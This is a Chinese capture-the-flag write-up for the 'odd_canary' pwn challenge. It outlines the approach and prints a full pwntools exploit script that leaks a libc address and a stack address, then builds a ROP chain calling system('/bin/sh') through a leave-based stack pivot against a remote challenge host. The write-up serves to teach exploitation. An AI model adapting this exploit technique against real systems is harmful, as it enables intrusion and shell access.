[湾区杯]odd_canary
Zach0ry Lv4

附件

image-20250909201526200

image-20250909201439562

image-20250909201446810

image-20250909201455845

image-20250909201503815

思路

让函数通过good函数吧name和bss段连接在一起,然后再次进入good函数读取泄露出来的puts地址,之后进入exit函数让bss段数值为char的地址,然后用同样的方式泄露它的地址,最后进入vuln函数去把后门函数布置在bss段落,然后通过泄露出来的char相对于bss段的拍内衣让函数去我们构造的栈上运行

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
import sys
from LibcSearcher import *
libc = ELF("./libc.so.6")
file_path = "./odd_canary"
remote_host = "node5.anna.nssctf.cn"
remote_port = 20627
libc=ELF("./libc.so.6")
context(arch='amd64', os='linux', log_level='debug')
elf = ELF(file_path)

if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)
#gdb.attach(p, "b*0x4012C3 ")

def sla(a, b):
p.sendlineafter(a, b)
def sa(a,b):
p.sendafter(a,b)

sa(b"Choose (good/vuln/exit):",b"good")
sa(b"but you must tell me your name first:",b"a"*0x20)

sa(b"Choose (good/vuln/exit):",b"good")
p.recvuntil(b"a"*0x20)
puts=u64(p.recv(6).ljust(8,b"\x00"))
print(b"puts===================="+hex(puts).encode())
sa(b"but you must tell me your name first:",b"a"*0x20)

libc_base=puts-libc.symbols["puts"]
system=libc_base+libc.symbols["system"]
bin=libc_base+next(libc.search(b"/bin/sh"))


sla(b"Choose (good/vuln/exit):",b"exit")
sla(b"Are you sure ? [y/n]\n",b"n")


p.sendafter(b"Choose (good/vuln/exit): " , b'good')
p.recvuntil(b"a"*0x20)
stack= u64(p.recv(6).ljust(8, b'\x00'))
print(b"stack================="+hex(stack).encode())
p.sendafter("name first:\n" , "B"*0x20)



# 0x000000000002a3e5 : pop rdi ; ret
pop_rdi = 0x000000000002a3e5 + libc_base
ret = 0x00000000004014B7
pay= p64(pop_rdi) + p64(bin) + p64(ret)+ p64(system)
leave=0x40134A

p.sendafter("Choose (good/vuln/exit): " , b'vuln')
payload = b'execaaaa' + pay.ljust(32) + p64(0) + p64(stack- 0x27) + p64(leave)
p.sendafter("Enter your payload: \n" , payload)







p.interactive()

收获

连接输出

image-20250909212210615

image-20250909212506156

可以看到把puts的数值赋给了bss段落,而且前面输出了name,在bss之上,相隔0x20

image-20250909213348881

copy之后

image-20250909213306119

可以看到此时还没有把bufcopy过去,name和bss段之间有空字节,只要把这0x20个空字节填充之后就可以把bss段的地址带出来

地址读取

在这个主函数中存在good和exit分支,当函数进入这个分支函数的时候开始建立新的栈帧,所以这个函数的rbp的位置是一样的

0d56bc24431824eb9f54cf002120ec46

98f98c9382a52fc415bef0de5304324c